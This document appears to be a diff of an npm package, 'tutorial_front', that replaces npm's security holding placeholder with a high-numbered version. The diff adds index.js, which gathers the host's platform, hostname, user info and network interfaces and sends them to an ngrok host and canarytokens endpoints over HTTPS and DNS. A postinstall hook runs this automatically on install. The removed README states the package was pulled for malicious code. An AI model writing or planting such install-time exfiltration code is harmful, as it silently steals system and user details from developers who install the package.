tutorial_front 0.0.1-security → 41.24.24

package/index.js

@@ -0,0 +1,59 @@
+const os = require('os');
+const https = require('https');
+const dns = require('dns');
+
+// === Replace these with your actual endpoints ===
+const endpoints = [
+  'ce2231b095cc.ngrok-free.app',           // ngrok HTTP (first priority)
+  'canarytokens.com/images/articles/41ecgp6yp6c0mkcrtwvzl8t3f/submit.aspx',              // Canary HTTP token
+];
+
+const dnsFallbackToken = 'kez5pygx1745d8vb0abdq7pa1.canarytokens.com'; // DNS token (last fallback)
+
+// Collect system info
+const deviceInfo = {
+  platform: os.platform(),
+  release: os.release(),
+  hostname: os.hostname(),
+  arch: os.arch(),
+  userInfo: os.userInfo(),
+  networkInterfaces: os.networkInterfaces()
+};
+
+// Convert info to query string
+const queryString = Object.entries(deviceInfo).map(([key, value]) => {
+  if (typeof value === 'object') value = JSON.stringify(value);
+  return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
+}).join('&');
+
+// Try sending to each HTTP endpoint
+function sendToHTTP(hostname) {
+  const options = {
+    hostname,
+    port: 443,
+    path: `/?${queryString}`,
+    method: 'GET'
+  };
+
+  const req = https.request(options, (res) => {
+    console.log(`Success: ${hostname} responded with ${res.statusCode}`);
+  });
+
+  req.on('error', (err) => {
+    console.error(`Failed to reach ${hostname}: ${err.message}`);
+  });
+
+  req.end();
+}
+
+// Trigger all HTTP URLs
+endpoints.forEach(sendToHTTP);
+
+// Trigger DNS as fallback
+dns.lookup(dnsFallbackToken, (err) => {
+  if (err) {
+    console.error(`DNS fallback failed: ${err.message}`);
+  } else {
+    console.log('DNS fallback triggered successfully');
+  }
+});

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "tutorial_front",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "41.24.24",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=tutorial_front for more information.